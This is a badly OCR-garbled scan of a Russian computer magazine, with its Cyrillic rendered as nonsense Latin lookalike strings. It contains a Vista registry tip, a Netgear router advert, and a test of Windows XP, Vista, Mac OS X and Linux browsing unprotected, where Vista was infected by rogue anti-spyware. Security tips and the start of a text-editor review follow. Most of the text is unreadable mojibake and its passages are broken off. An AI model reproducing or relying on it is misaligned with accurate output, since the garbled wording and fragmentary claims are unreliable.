HaAO H3MeHHTb CTaHAapTHblH nyTb 
nanxn «Program Files». 3 Toro c 


noMOiAbio noncxa HanAHTe peAaxTOp 
peecTpa regedit h 3anycTHTe ero. 
B peAaxTope HanAHTe xjhoh HKEY_ 
LOCAL_MACHINE\Software\ 
Microsoft\Windows\CurrentVersion. 
^BaxAbi xjiHXHHTe no ProgramFilesDir 
h yxa^HTe 6yxBy AncxoBOAa, cooTBeTC- 
TByKDuiyK) pa3Aejiy npHjioxeHHH. To xce 
caMoe HeodxoAHMO npoAejiaTb co 3Hane- 
HneM ProgramFilesPath. flodpo noxa- 
jiOBaTb b MHp Vista! sai? 


r ^ 


RangeMax™ NEXT 
Wireless-N (WNR854T) - 

6ecnpoBOflHbie cxopocTH ao 300 Mbps, 
Apacjyr CTaHflapTa 802.1 1 n 


06paTHCI51 COBMeCTMMOCTb C yCTpOMCTBOMM 

802.1 1 b/g WiFi 

Cynep-nponycKHaji cnocobHOCTb: BMfleo, Mrpbi, 3bohkm 
nepe 3 MHTepHei, 3 JieKTpoHHasi noHTa, pa 6 oia b Web 

CrabmibHoe noKpbiTMe becnpoBOflHoPi cem 6 e 3 
obpbIBOB CBSI3M M MepTBbIX 30H 

l1oAK^ioHeHM5i «Steady Stream» - TexHO/iorun 
Advanced MIMO, KOMbMHMpoBaHMe npneMHbix 
ameHH, m Mcnojib30BaHMe KOHa/iOB 40 MHz 

BHyipeHHMe "MHTejuieKTyanbHbie" aHTeHHbi 
Smart Wizard™ - HacrpoMKa 3a cHmaHHbie MMHyrbi 

4 b oahom: MapuipyrkoaTop, 4-nopTOBbiM KOMMyia- 
Top Ethernet 1 0/ 1 00/ 1 000, MexceieBoPi 3Kpam 
SPI, BecnpoBOflHaji tohko flocryna 1 1 n 

MaKCMMyM npoM3BOflMTejibHOCTM c aflaniepaMM 
RangeMax™ Next Wireless-N 

3a TecTkipoBaHkieM no/moPi JimnePiKki 
RangeMax Next™ o6pauj,aPiTecb 
k HauikiM napTHepaM 





802.1 1 n - OBbie 


B03M0XH0CTM C 

RangeMax™ ext 



CneAMTe 3a cnei4nanbHbiMii npe^nomeHMAMH houimx napTHepoe! 

IOACDI/I-T MocKBa (495) 933 7064; I/Ikc-kom MocKBa (495) 7999600; I/IL4 TeneKOM-CepBi/ic MocKBa (495) 737 4747; 
Tpynna KOMnam/m l/ICT HoBoa/i6i/ipcK (383) 228 1314; l/IBC-Ce™ nepMb (3422) 196 500; HI/IKC MocKBa (495) 
974 3333; I03HCI/I Tyna (4872) 307 408; Hob3kom EKaTepMH6ypr (3432) 637 466; Anac MocKBa (495) 416 6001; 

KoMnbioTepHbie Ci/icreMbi KpacHOjqap (861) 251 8484; 1/lrpeM Tomck (3822) 281 528; PK TeneKOM rioBonmbe 

CaMapa (846) 932 2161. 


NETGEAR* 

Connect with Innovation™ 










S3n?TEST & TECHNICS Windows Vista/XP, Linux, Mac OS 


llpoBepKa OC 

Ha 6 e 3 onacHOCTb 

Microsoft peKJiaivwpyeT Vista KaK caiviyio 6 e 3 onacHyto Bepcmo Windows, Apple ofiemaeT 
CTonpoiteHTHyio 3 ainniy ot BupycoB, HKodbi Hafle>KHee mx Bcex BMecie B 3 HTbix. 

Mbi nonbuajiMCb pa 3 o 6 paTbcn, neiviy 1/13 3 Toro mo>kho Bepi/iTb. 


B 3 T 0 M CTaTbe 

rioc/ie i/i HCTajinsi 141 / 11/1 — np^Mi/iKOM b CeTb 

B 1/lHTepHeie 6e3 OpaHAMayapa 
1/1 ami/iBi/ipyca 

YpoBeHb 6e3onacHOdi/i pa3/ii/iHHbix OC 

B bihth b MHTepHeT 6e3 6paHAMay3- 
pa H aHTHBHpyCa — HaCKOJIBKO oto 
pHCKOBaHHO Ha caMOM aejie? 
CnpaBeAJiHBo jih yTBepxAeHHe, hto b 
Linux h Mac OS nojiB30BaTejiB KaK 3 a 
KaMeHHoii CTeHoii? H He oCMaHBiBaeT jih 
M icrosoft, 3anBjHi5i, hto Vista 6e3onac- 
Hee, neM XP? Mbi He noOonjiHCB npOBe- 
pHTB 3TO CaMOCTOHTejTBHO H noOpOAHTB 
no MHTepHeiy 6e30 bchkoh 3amHTBi, Tec- 
THpyn caMBie nonyjrapHBie onepau;HOH- 
HBie CHCTeMBi. LJejiBix ab e hcacjih mbi 
3aHHMajiHCB TeM, ot nero cneiiHajiHCTBi 
no 6e3onacHOCTH Bceraa npe^ocTeperaiOT: 


coBepmeHHO 6e33aLHHTHBie Windows XP, 
Windows Vista, Mac OS h Linux 6 bdih 
noAKjnoueHBi k DSL-MapmpyTH3aTOpy 
KpynHoro npoBauaepa. IlpH atom Teera- 
pOBaHHio noABeprjiHCB caMBie aicryajiB- 
HBie BepCHH, to ecTB Mac OS X 10.4.0, 
OpenSUSE 10.1, Windows XP c Service 
Pack 2 h nocjieAHHH HOBHHKa — Windows 
Vista. EpaHAMayop Mapinpym3aTOpa, k 
KOTO pOMy nOACOeAHHHJIHCB KOMnBIOTe- 
pBI, 6BUI TO>KC OTKJHOHeH. 

B Cent 6e3 6paHflMayapa: 

MfleM b rocTH xaKepoB h nepBen 

«ILitb MHHyr b MHTepHeTe — h yxce noA- 
Henuji nepB5i» — nojiB30BaTejiH Windows 
CTpaaaiOT ot 3 toh HanacTH yxe mhoto 
jieT. OaHajKABi uepBB MSBlast b pexopAHO 
KopOTKoe BpeMH npoGpajicn uepe3 ABipy b 
6e3onacHOCTH ceTeBon cjiyxcdBi Windows 
6e30 BCHKoro yuacTHH nojiB30BaTejieH. 


no caMBiM ckpomhbim oijeHKaM, 6 bijio 
HH(^HLtHpOBaHO 48 000 KOMnBIOTepOB. 
Hto xe H 3 MeHiuiocB 3 a neTBipe roaa, npo- 
ineAnme nocjie 3 toh KaTacipocpBi? 

Cmnajia mbi 3aH3uiH BBDKHAaTejiBHyio 
no3Hu;HK) h nepByio Heaejiio npocTO 
Aepxajin neTBepBix noaonBiTHBix b cem, 
He 3axoAH hh Ha Kaioie canra h He ycTa- 
HaBjiHBan nonra HHKaKHx nporpaMM. 
HtoGbi HHnero He ynycTHTB, mbi HHCTaji- 
jiHpoBajra ceTeBoii CHHdxpep Wireshark. 
3Ta nporpaMMa aHajiH3HpoBajia BecB 
ceTeBoii TpacpHK, Tax hto noTOM mbi 
CMOTJIH BOCCTaHOBHTB C06 bITH 51 HeACJIH. 

KpOMe toto, mbi otkjhohhjih onu;Hio 
3Heproc6epexceHH5i: b KOHLte kohijob, 
KOMnBiOTepBi He aojdkhbi npOBecm bcio 
H eaejiio b xcaymeM pexnMe. 

nocjieAHnH 3nHACMHH uepBeii dBuia yxe 
AaBHO. no3TOMy nepe3 Heaejiio mbi bkjiio- 
hhjih MOHHTOpBi 6e3 oco6oro HHTepeca — 



S5II?BbiBOA 

■ Mac OS m Linux flocraTOHHO 
6e3onacHbi, Windows XP n Vista 
Towe, ho npn oahom yCJlOBMM: 
Bceraa Hy>KHO CMOTpeTb b 06a. 

Y onepauMOHHbix cncreM ot 
M icrosoft ecTb c/ia6bie MecTa, ko- 
TOpblMM 3J10yMbllUJieHHI/lKM 6e33a- 
CTeHHMBO nojib3yiOTca. OAHaKO 
3 to npoMcxoAMT mribKO npn ynac- 
ti/ih caMoro nojib30BaTe/ifl. Ec/in 
noTepaTb 6AMTe/ibH0CTb, b cncre- 
My cpa3y >Ke npoHMKHeT wnnoHC- 
Koe no, i/i ot 3Toro He cnacaiOT 
Aa>Ke ycM^eHHbie Mepbi 6e3onac- 
hocti/i b hobom Windows Vista. 


HacKO/ibKO Ha caMOM fle/ie 6e3onacHbi OC 

Microsoft, Apple, coo6mecTBO pa3pa6oTHMKOB OC c OTKpbiTbiM McxoAHbiM koaom — Bee 
npn3Ha^n, hto hm OAHa coBpeMeHHa5i onepauMOHHafl CMCTeMa He MO>KeT o6oPiTMCb 6e3 
cjDy h K 141/1 m 6e3onacHOCTM. To/ibKO pea/iM3yK)TCfl ohm no-pa3HOMy. B 3tom ja6nv\u,e cpaB- 
HMBafOTCfl Ba>KHeMLUMe 0C06eHH0CTM CMCTeM 3aiAMTbl. 




3aiumHbie 

tJjyHKUMM 

6pay3epa 


3aiuMTa 

OT LLJdMOHCKMX 

nporpaMM 


IIOJIMTMKa 

OfiHOBJieHMM 


npodenbi 
b cucTewie 
6e3onaoHOCTM 



0 

TeopeTMHecKM 
cy^ecTByeT ynpaB- 
neHMe npaBaMM; Ha 
npaxTMxe ero oneHb 
nerxo o6omtm 

00000 

Bee Tax, xax m ,qon>x- 
ho 6bUb: npaBaMM 
aflMMHMCTpaTopa 
Ha,qeneHa TO/ibKO 
3anMCb root 

00000 

C TeXHMHeCKOM T0HKM 
3peHMH Bee xax b 
L inux, Tonbxo MHTep- 
cpeMC yflobHee 

00 

YnpaBneHMe npaBaMM 
3aMeTH0 ynynujMnocb, 
ho apxMTexTypa 
Bee >xe He nnujeHa 
HeflOCTaTXOB 

00 

HaHMHan c Service 
Pack 2 mvieeTCH 
T3K>Ke npOCTeMUJMM 
OpaHflMayap 

0000 

C noMombio IP Tables 

M0>KH0 KOHTpOnM- 
poBaib noHTM Bee; 
HeflocTaeT TonbKO 
K0MC|)0pTa 

00000 

3flecb T0>xe ecTb 
IP Tables, npMneM 
MHTepcf)eMC donee 
CMMnaTMHHblM 

00 

Ma/10 neM omMHa- 
eicn ot XP; nynwe 
noMexaTb flpyrMe 
BapnaHTbi 

0 

ActiveX CTaBm 
6e30nacH0db Internet 
Explorer 6 nofl 
COMHeHMe 

000000 

Hau^e Bcero mc- 
nonb3yeTcn Firefox, 

KOTOpbIM flOCTaTOHHO 

xoponio 3aniMmeH 

0000 

OTcyrcTByeT 3aujMTa 
0T 0MUJMHra, H0 
aiax T0>xe noHTM He 
bbiBaeT 

00 

K co>xaneHMK), IE 7 
yHacneflOBan MMHycbi 
npeflbiflyu^eM BepcMM 

0 

He Bxoflm b CTaHflap- 
THyio Bepcmo 

0 

He BxoflMT b CTaHflap- 
THyiO BepCMK) 

0 

He BxoflMT b ciaHflap- 
THyK) BepCMK) 

000 

Windows Defender 
obecnenMBaeT 6a30- 
Byx) 3au^MTy 

00 

06H0BneHnn nonBnn- 
iotch nepe3 onpefle- 
neHHbie npoMe>xyTXM 
BpeMeHM 

00000 

CpoHHbie obHOBneHMH 
noHBnniOTCH cpa3y >xe 

000 

06H0BneHMH BbIXOflHT 
bbidpo, ho nonMTMxa 
Henpo3paHHan 

00 

no CpaBHeHMK) c XP 
6e3 ynynujeHMM 

MH0>KeCTB0 He3aKpbl- 
Tbix na3eeK 

©00 

MHoro na3eeK, ho Bee 
OHM 3aKpblTbl 

ooe 

0 mhotmx npobenax 
yManHMBaeicn 

©0©© 

1/ICnpaBJlBHDTCB no 
Mepe obHapy>xeHMH 

eeeee 

XP Ha ceroflHH M3- 
mofineHHan MMiueHb 
xaxepoB 

000 

Linux Mcnonb3yiOT 
xaxepbi, ho 3to He 
CHMMaeT pMCK 3T3XM 

0© 

0C He oneHb paenpo- 
CTpaHeHa m noaTOMy 
ManoMHTepecHa 

000 

Vista noxa eu^e BCTpe- 
naeTcn flOBonbHO 
peflxo 


h HcntiTajiH nepBoe noTpnceHHe. npn 
B3rjiime Ha CTaTHCTHKy TpacjDHKa CTajio 
HCHO, HTO BCe KOMnBIOTepBI HHTeHCHBHO 
oOMeHHBaJIHCB AaHHBIMH C HHTepHeTOM. 

B Linux otot o6ueM cocTaBKJi 160 M6ailT, 
b Windows XP — nyrb MeHBine 100. 
Tojibko Vista h Mac OS Bejin ce6a cpaB- 

HHTeJIBHO CnOKOHHO, HO He HaCTOJIBKO, 
htoGbi nocMOTpeTB Ha cooTBeTCTByioiAHe 
AHcjDpBi ckbo3b najn>u;Bi. Kto xe Tax 
HacjieaHji bo Bcex CHCTeMax — nepBH 
hjih, MOxceT 6 bitb, Aaace xaxepBi? 

Ha30MHNBbie o6HOBiieHMsi: 
hto TBopmcn Ha KOMnbiOTepe, 
odaBJieHHOM 6e3 npncMOTpa 

Mbi aHajiH3HpyeM npOTOKOJi Wireshark — 
ot6oh TpeBom: Hnnero mioxoro c kom- 
nBiOTepaMH He cjiynmiocB. Cxopee Hao6o- 
pOT, 4)yHKu;HH aBTOMaTHnecKoro o6hob- 
jieHHH, aKTHBHpOBaHHan no yMOJinaHHio, 
3arpy3Hjia h ycTaHOBHJia anaenTBi 6e30- 
nacHOCTH. rioneMy hmchho Linux ycnejia 
cxanaTB TaKHe xojioccajiBHBie oObcmbi — 
noHHTB jierKo: nocKOJiBKy k 3toh OC c 
OTKpBiTBiM koaom npmiaraeTCH BHynra- 
TejiBHBift naxeT nporpaMM, to h odHOBjie- 
hhh, KOHenHO, TpedyeTcn HeMajio. 

Ecjih HecTHO, 3 tot pe3yjiBTaT Hac pa3ona- 
pOBaji: npn neTBipex He3auxHmeHHbix kom- 
nBHDTepax mbi paccuHTBiBAJiH no MeHBineii 
Mepe Ha aTaxy xaxepOB. IlpHCTynHM k cjie- 
AyiomeMy 3KcnepHMemy: BBixoay b CeTB. 
yxc TaM-TO mbi HaBepHHKa noAuenuM xoth 
6bi 3axyAajiyio BpeAOHOCHyio nporpaMMy! 

HanHHaeM c KOMnBiOTepa c Linux, 
3anycxaeM peKOMeHAOBaHHBiii 6pay3ep 
Firefox. /Jjih Hanajia mbi nporyjnuiHCB 


no H3BecTHBiM CTpaHnpaM h nopTajiaM 
Bpoae Lenta.ru, Blogs.mail.ru h Source- 
forge. net, npn 3 tom 3arjinABiBaii Ha Apy- 
THe CaHTBI, K KOTOpBIM BeJIH peKJiaMHBie 


OaHHepBi. Ilocjie xa^Aoro caiiTa mbi 
npOBepnjiH, hto jieacHT b Kerne 6pay3e- 
pa, KaKHe cookies co3AaHBi? Ho KpoMe 
napBi tracking cookies, c noMomBio -4 
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Mflea/ibHafl 3au\ma 




S3n?TEST & TECHNICS Windows Vista/XP, Linux, Mac OS 



& Critical System Errors! 

System detected virus activities, Th^ may cause critical 
system failure, Please, use AnliSpyware software to dean 
and protect your system fra m parasite programs. 

Click this bafficm to get all available software. 


WINDOWS BCE ElUE HE rAPAHTMPVET flOJlHOM BE30nACH0CTM 


MomeHHHHecKne aHTMBiipycbi, noflofiHO BOJiKaM b OBewbew uiKype, 
MoryT npoHHKHyTb m b Vista 


KOTOpbIX MapKeTOJIOrH OTCJieXHBaiOT 
Hanoi nepeMemeHHH no HHTepHeTy, 
TaM Hnnero He oxa3ajiocb. 

3HannT, ycjiOBHH TecTHpOBaHHH yxcec- 
TonaiOTCH: Ha6npaeM b Google «6ecnjiaT- 
Han nopHorpa4)HH» n 3axoanM Ha nepBBie 
iihtb nopHOcaiiTOB. 3aecb mbi odHapy- 
acHBaeM Kax pa3 to, hto HyxcHO — npe- 
AOCTaTOHHO TOJIOH XOJKH H GeCXOHeUHyiO 
BcnjibiBaiouxyK) peKJiaMy. ^axce CTpejiKa 
«Ha npeabiaymyio CTpaHHu;y» b 6pay3e- 
pe, noxoxe, He pa6oTaeT. riepBan aTaxa 
Ha Ham KOMnbiOTep? AHTHBHpyc, 3any- 
meHHbin c 3arpy30HHoro CD, HHuero He 
odHapyaoui. B Linux CKaHHpOBaHHe 
3aBepmHjiocb paHbme, h mbi odpaiaaeM- 
cn k TpeM apyruM yuacTHHKaM TecTa. 

<«Bape3Hbie» caMTbi: 
npo6neMbi co uimiohckhm 110 

Ha ouepean — Mac OS X h 6pay3ep 
Safari. noBTOpneM Te >xe TecTbi. H tot ace 
pe3yjibTaT: napa tracking cookies. Toraa 
mbi H^eM eiae aanbrne h mae m b Google 


KpOKH k nporpaMMaM. 
nepBan npo6jieMa: Ha 
cooTBeTCTByiomHx nn- 
paTCKHx caifrax cepnii- 
HBie HOMepa h xenreHBi 
ecTB tojibko ana npo- 
rpaMM noa Windows. 
Mbi Bce-TaKH pemaeM 
HTO-HH6yaB CKanaTB — 
h, yBBi, onaTB TepnHM 
nopaaceHne. Ha oaHOM 
pecypce HaM nbiTaiOT- 
ca HaBa3aTB njiarHH 
ActiveX, Ha apyroM — 
noacyHyTB EXE-^aita. 
B o6ohx cayaaax peub 
naeT o mnnoHCKOM no, xax Bnocaeac- 
TBHH nOaTBepaHJI aHTHBHpyC. Ho hh 
miarHH ActiveX, hh EXE-c[)aHji He 
OTKpbiBaiOTca b Mac OS X. B Linux 
Toace. Tax huh HHaae, TenepB mbi 
H aiHJIH TO, HTO HCXaJIH. OTpa3HT HH 
Vista noaodHBie aTaxn? 

6e3onacHOCTb b Vista: 

pa3 — h ywe noMi/iami pyTKHT 

Ha 3TOT pa3 MBI OTKpBIBaeM BCe CTpaHHHbl 
b Internet Explorer 7 : oh aojiaceH OTjmaaTB- 
ca ocodeHHO HaaeacHoii 3amHTOH. H ecjm 
He HmopHpOBaTB onoBemeHHa chctcmbi 
6e3onacHOCTH, Tax h ecTB. IEiamH ActiveX 
oxa3aaca HecoBMecniM c Vista. 

Windows XP no xpanHeii Mepe Hac He 
noaBena: npOHmopHpOBaHHoe npeayn- 
peacaeHne — h 6pay3ep yace 3apa3Hjica 
TyjidapaMH h BcnjiBiBaioiaeii pexjiaMoii, 
oxcnepHMeHT MoacHO npexpaiaaTB. 

H npaxTHaecxH cjiyaaiiHO mbi o6Hapy- 
anuiH b Vista eiae xoe-uro: pexjiaMHBiit 
6aHHep, nepeHanpaBHBmHH Hac Ha 
nopHOcaifr, npeanoacnji 
aHTumnnoHCxyio npo- 
rpaMMy ana Windows 
2000, XP h Vista. 
Tojibxo Ha caMOM aene 
3 to HHxaxoe He anra- 
mnnoHCxoe no, a Tax 
Ha3BiBaeMoe rogue anti- 
spyware. H aeiicTBH- 
TeaBHO, Spy Sheriff — 

TpOaH C pyTXHTOM, 
XOTOpBIH MBI yCTaHO- 
BHJIH B Vista. 

Ototo mbi He oacnaa- 
ji h: He tojibxo b XP, ho 
h Vista ayacax ocTaeTca 



✓ PeryjinpHO ycraHaB/iM Bathe o6hob- 
/ieH 1 / 153 . HeM CTapme onepauMOHHafl 
CMdeMa m nporpaMMHoe o6ecneHeHMe, 
TeM 6ojibme nnn Hee BbmB/ieHo npo6e- 
JlOB B 6e30naCH0CTM. To/lbKO TeM, KTO 
pery/iapHO MHCTa/uinpyeT o6HOB/ieHMfl, 
aiaKM xaKepoB m nepBePi He cipaiiJHbi. 

✓ Be3 aHTMBi/ipycoB He o6othMCb. 

Ec/im cnrHaiypbi nocTOAHHO o6hobjia- 
k)tch, aHTMBMpyc ycnewHO Haxoam m 
yHMHTO>KaeT BMpycbi, TponHbi m mnnoH- 
CKkie nporpaMMbi. B c/iynae KOHKpeT- 
Hbix noao3peHMM noMO>KeT 3arpy30H- 
Hbl M KOMnaKT-flMCK C aHTMBMpyCOM. TaK 
MO)KHO BbIBeCTM Ha HMCTyfO BOflY Aa>Ke 
xopomo 3aMacKnpoBaHHbie pyTKmbi. 

✓ Co6cTBeHHbm 6paHAMay3p — eu\e 
OAHH CTaHAapTHblM 3/ieMeHT CMCTeMbl 
6e3onacHocTM. Kohchho, 6paHAMay3pbi 
TO>Ke mo>kho o6BecTM BOKpyr na^bua. 
Ho 6o/ibiiJMHCTBO mnHOHCKMx nporpaMM 
m nepBePi ycTpoeHbi Tax He3aMbic/iOBa- 
TO, HTO MX 3aAep>KMT CaMbIM npMMMTMB- 
HbiM 6paHAMay3p. 

✓ CnaM-cf)MjibTpbi TO>Ke npMcyTCTByfOT 
b n kd6om cMdeMe 6e3onacHocTM. 
HeMa/ia5i AOJifl BpeAOHOCHbix nporpaMM 
npMCbmaeicn no 3/ieKTpoHHOM nonie. 

B MAea^e Bbi/iaB/iMBaHMeM cnaMa aojdk- 
Ha 3aHMMaibcn noHTOBan c/iy>K6a: lum- 
poKa^ CTaTMCTMHecKa5i 6a3a no3BoajieT 
npOBOAMTb conocTaB^eHM^i m c 6o/ib- 
UieM TOHHOCTbK) OnpeAe/15Hb, HTO nB Jlfl- 
eicn cnaMOM, a hto HeT. 

✓ YcTaHOBMie cJd mu m h r-cja mi bip AJifl 
6pay3epa. Onmepbi asmctbykdt He mnb- 
ko nepe3 3/ieKTpoHHyK) noHTy, ho m ne- 
pe3 naibi m c)DopyMbi. On^bip A-n^ 6pay- 
3epa CTaHeT oniMHHbiM Aono/iHeHMeM. 


He3aMeaeHHBiM, 3am,HTHBiH MexaHH3M 
6e3aeiiCTByeT. Ectb tojibxo oaho cnace- 
HHe, xoTopoe npeaoTBpamaeT aBTOMa- 
THaecxyio HHCTajiaau;Hio: User Account 
Control (UAC), to ecTB xohtpohb noab- 
30BaTeaBCxoii yaeTHoii 3anHCH. OaHaxo 
ecan bbi AOBepaeTe MomeHHHaecxoii 
nporpaMMe, Toraa h Vista He 3am,HTHT 
OT OnaCHOCTH. 

■ Eoabme hh mary b MHTepHeTe 

6e3 6paHAMay3pa h aHTHBHpyca! 

OxcnepHMeHT 3aBepmeH — pe3yjiBTaTBi 
OTpe3BJI5HOT. Mbi (JiopMaTHpyeM XOM- 
nbiOTepBi h CHOBa ycTaHaBjiHBaeM uhc- 
Tyio CHCTeMy BMecTe c naxeTOM Internet 
Security Suite. HTax, oOhobjichhu, aHTH- 
BHpyc h 6paHaMay3p vKH3HeHHO Heodxo- 
aHMBi — xax h 3AopoBoe HeaoBepne x 
HeH3BecTHOMy no. 3axpoeM BxoaHyio 
ABepB Ha 3aMOx h He CTaHeM BnycxaTB 
6e3 pa36opa Bcex, xto ctyuhtch. & ss ? 
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0513? TEST & TECHNICS Teci TeKCTOBbix peflaKTopoB 


TeKCTOBbiM penaKTop 

ma 3 aMii nojib 30BaTe/ifl 


B 3T0M CTaTbe 

KaKMM AOJi>KeH 6biTb Mflea/ibHbm peflaKTop? 

CBOAHafl Tad/n/ma c pe3yn biaiaMi/i TedOB 
i/i TexHi/iHecKi/iMi/i xapaKTepi/idi/iKaMi/i 


B bijro BpeMH, KorAa Ha 6 op h ocpopM- 
jieHHe AByx-Tpex eipaHHu; nenaTHo- 
ro TeKCTa ciniaMH I13BM Ka 3 ajiHCb 
HeM-TO H 3 o 6 jiaCTH (paHTaCTHKH. C TeHe- 
HneM BpeMeHH, no Mepe pa 3 BHTHH bbihhc- 
jiHTejiBHon TexHHKH h nporpaMMHoro 
odecneneHim, TeKCTOBBie peaaKTOpbi odpe- 
JIH 3 HaKOMyiO H npHBblHHyiO JSJIR n 0 JIb 30 - 
BaTejin cpop My. npn atom noaaBJiaiomee 
6 ojibinnHCTBO nporpaMM ajih Ha 6 opa TeKC- 
tob Tax n ocTajincb yjiymneHHbiMH 3 Myjin- 
TOpaMH funnymen MamnHKH. 

Ecjih cpaBHHBaTb TeMnbi pa3BHTna kom- 
nbiOTepHon TexHHKH n TeKCTOBbix peaaK- 
TopoB, to nocjieAHne yxe aaBHO AOJEKHbi 
6 burn yMeTb 3anncbiBaTb Mbicjin nojib30- 
BaTejrn hjih xoTiT 6bi npeABHAeTb acejiaHne 
Ha6paTb to hjih HHoe cjiobo. KoHenHO, 


3to myTKa. Ho b 3toh mynce ecTb H3pHA- 
Han aojih npaBAbi. BeAb KOMnbiOTepHbie 
nojib30BaTejiH hbho ncnbiTbiBaiOT HeAO- 
CTaTOK B03M0XH0CTeH npn BbinojiHe- 
hhh cbohx 3aAan, padoTan b CTaHAapT- 
hbix TeKCTOBbix peAaKTOpax. 

HeyAOBjieTBOpeHHOCTb cymecTByiomH- 
MH npOrpaMMHbIMH npOAyKTaMH npHBO- 
AHT K C03AaHHI0 HOBbIX TeKCTOBbix pejiaK- 
TOpOB. Abtopbi nbiTaiOTcn CAejiarb cboh 
A erama (pyHKnnoHajibHbiMH n yAodm>i- 
mhajih nojib30BaTejien. Ho TBOpeHHn 
nporpaMMHCTOB, He yraAaBmnx ceKpeTa, 
KOTOpbin CAejiaji 6bi nx peaaKTopbi nony- 
jmpHbiMH, no 6ojibmen uacTH TaK n oera- 
lOTcn Kypbe3aMH, Hcnojib3yeMbiMH orpa- 
HimeHHbiM KpyroM nojib30BaTejien. 

A K0p0Jlb-T0 rOJIbIM... 

a, KOMnbiOTepbi He yMeiOT HHTaTb 
Mbicjin jnoAen. HaBepHoe, 3 to Aaxe n k 
jiymneMy. Ho bo3mojkhocth nK He orpa- 
HHHHBaiOTCH TOJIbKO KOMnOHOBKOH nHK- 
cejien b KpacHBbie 6yKBbi. TaK >xe KaK h 
noTpe6HOCTH nojib30BaTejiH He 3aKaHHH- 


BaiOTcn TOJibKO npOBepKOH opcporpacpHH 
H aBTOMaTHHeCKOH paCCTaHOBKOH 3Ha- 
kob npenHHaHHH. 

nonpo6yeM ccpopMyjinpOBaTb, nero He 
xBaTaeT nejiOBeKy, co3AaiomeMy tckctbi 
b MS Word, mhoto jieT hbjhhoiahmch 
oahhm H3 caMbix pacnpocTpaHeHHbix 
TeKCTOBbix peAaKTOpOB. 

flaBaHTe KOCHeMcn npaBKH TeKCTa — 
TiDKeJIOH H HyAHOH pa60TbI, KOTOpan, 
codcTBeHHO, h npeBpamaeT Ha6op cjiob 
b eAHHoe, ocMbicjieHHoe iiejioe: pecpepaT, 
jiHTepaTypHoe npOH3BeAeHne, KOHTeHT 
AJia canra hjih HayuHyio CTaTbio. 

npaBKa — 3 to He npocTO paccTaHOBKa 
3anaTbix, KaK moxho 6buio 6bi npeano- 
jiaraTb, a b nepByio onepeAb AodaBjieHHe, 
H3B5ITHe H BHAOH3MeHeHHe HaCTeH TeKC- 
Ta. Hto6bi He HCKa3HTb (paKTbi, aaTbi, 
HMeHa, HeodxoAHM cbo6oahbih h 6bict- 
pbiH AOCTyn k HexoAHHKaM, npejibiAy- 
hjhm BapnaHTaM h cnpaBOHHOH jiHTepa- 
Type. HacTO B03HHKaeT HeodxoAHMOCTb 
BHOCHTb CneiJHaJIbHbie TepMHHbl B cjio- 
BapHK hjih C03aaBaTb npHMenaHHH. 

nonpodyuTe caejiaTb 3 Ty padoTy b MS 
Word, h bbi nonyBCTByeTe, HacKOJibKO 
HecoBepmeHHO Aerame Emma TeHTca. 
npOAyKT ot Microsoft He toahtch juin 
HanHcaHHH petpepaTOB, od 30 pOB h Bbidop- 
KH AaHHbIX H3 OJieKTpOHHbIX AOKyMeHTOB . 
Be 3 Ae, TAe HyacHO dbiCTpo codpaTb HHCpop- 
MailHIO H 3 pa 3 HbIX TeKCTOBbix H TadjIHH- 
Hbix hctohhhkob, Word AeMOHCTpHpyeT 
nopa 3 HTejibHyio HenoBOpOTjiHBOCTb. 3to 
CBH 3 aHO c TeM, hto b hacojiothh nporpaM- 
mbi yKa 3 aHo: «TeKCTOBbiii peAaKTOp — 
cpeACTBO aj ia Hadopa h ocpopMjieHira TeK- 
ctob». Ty ace omndicy AonycKaiOT h Apyme 
TeKCTOBbie peAaKTOpbi. 

Xopomo 3to hjih njioxo, ho cpeAHe- 
CTaTHCTHneCKHH n0JIb30BaTeJIb TpaTHT 
He MeHbine 30% MamHHHoro BpeMe- 
HH Ha 3aAann, He CBH3aHHbie c npOH3- 
BOACTBeHHbiM npou;eccoM: HanncaHHe h 



RTF-cpopMaTMpoBaHMe, padoTa c Tafijumaivm 
M KapTMHKaMM 


COBMeCTMMOCTb C nOnyJIHpHbIMM CpOpMaTaMli 


(PyHKUMM npoBepKM opcporpacpMii, CTamcniKM, jimepa- 
Typnoro aHajiM3a, bo3mo>khoctm nepeKOflnpoBKii, xop- 
peKuna ouiiidoK, yaajieHMe jimiuhmx npodenoB m npon. 


CTpyKTypMpoBaHMe (xaTaiiorM wsfipaHHoro 
3aKJiaflKM, mnepccbrnKM) 


flonojiHmejibHbie cepBMCHbie bo3mo)khoctm 
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CoBpeMeHHbm TeKCTOBbm peflaKTop He flon>KeH 6 biTb npocTO aHa/ioroM nenaTHOM Maiui/iH- 
ki/i. KpoMe Ha 6 opa TeKCTa oh ,qoji>KeH od/ienaTb npaBKy MaTepwa/ia, aBTOMaTH 3 M poBaTb 
pymHHbie onepaijm/i, 6 bicipo ne/iaTb cjio>KHoe cfDopMaTnpoBaHne. flaBatiTe pa 36 epeMca, 
KaKan nporpaMMa ziyHiue Bcero noflxoflm Ha 3 Ty po/ib. 


OTnpaBKy nnceM, HTeHne ceTeBOH jih- 
TepaTypBi, npocMOTp caftTOB, Ha6op h 
npaBKy pa3Hoo6pa3HBix tckctob. IIpH- 
BBIHHBIH, HO TilXeJIBIH H COBepmeHHO 
Henpncnoco6jieHHBin rjw CKpBiToro 
Ha6opa TeKCTOB MS Word, paBHO KaK 

H 6OJIBHIHHCTBO CpeAHHX TeKCTOBBIX 
pe^aKTopoB, 0Ka3BiBaeTcn njioxnM 
nOMOmHHKOM. 

Tohhoh CTamcTHKH nojiB30BaTejieH, 
HeyaoBjieTBOpeHHBix npeAJiaraeMBiMH 
nporpaMMaMH jijm padoTBi c tckctom, 
Hen Moxcho jinniB npeanojroxcHTb, hto 
hx hhcjio cocTaBjineT He oahh mhjijihoh 
nejiOBeK. CoGctbchho roBopn, cexpeT 
ycnexa TeKCTOBoro penaKTOpa He oneHB 
cnoaceH — Haflo CAenaTB ero yAodHBiM 

H yAOBJieTBOpiHOH^HM fleHCTBHTeJIBHBie 
noTpedHOCTH nojiB30BaTejiH. B atom 
o630pe mbi npeflCTaBHM nporpaMMy, 
MaKCHMajiBHO cooTBeTCTByiomyio 3anpo- 
caM HejiOBexa, co3AaioiAero TeKCTBi. 

ynaCTHMKM COpeBHOBaHMM 

fljIH TeCTHpOBaHHH 6bIJIH BBl6paHBI CJie- 
Ayiomne nporpaMMBi: Microsoft Office 
Word 2003, OpenOffice.org Writer 2.0.3, 
Atlantis Word Processor 1.6, PolyEdit 5.0 
RC Altiplano, [R] Software Editor 1.3. 

riepBBie RBQ BCeM XOpOHIO H3BeCTHBI, H B 
